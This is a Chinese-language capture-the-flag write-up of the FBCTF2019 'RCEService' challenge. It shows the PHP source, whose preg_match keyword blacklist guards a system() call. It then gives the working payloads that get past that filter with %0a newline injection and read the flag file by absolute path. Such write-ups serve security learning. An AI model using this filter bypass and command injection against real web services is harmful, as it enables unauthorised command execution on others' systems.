[FBCTF2019]RCEService

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首页长这样

要我们输入一个json字符串，通过cmd查询传递，因而推测键名也为cmd

{"cmd": "ls"}

Attempting to run command:
index.php

尝试获取index.php的内容

{"cmd": "cat index.php"}

Hacking attempt detected

多次尝试无果，寻求wp帮助QAQ

然后发现原题离谱地提供了源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

通过preg_match实现WAF，直接通过%0a绕过单行匹配中的.*

{%0a"cmd": "cat index.php"%0a}

Attempting to run command:

没有回显，非常奇怪nanoda

putenv('PATH=/home/rceservice/jail');

emmm，这波是PATH被挟持了，问题不大，用绝对路径应该就行

尝试查看/home/rceservice/jail下面的东西

{%0a"cmd": "ls /home/rceservice/jail"%0a}

Attempting to run command: ls

好家伙，真就只给了ls

{%0a"cmd": "ls /home/rceservice"%0a}

Attempting to run command:
flag jail

{%0a"cmd": "/bin/cat /home/rceservice/flag"%0a}

Attempting to run command:
flag{f632fadd-2fad-439f-b5e1-75acf38cc1f3}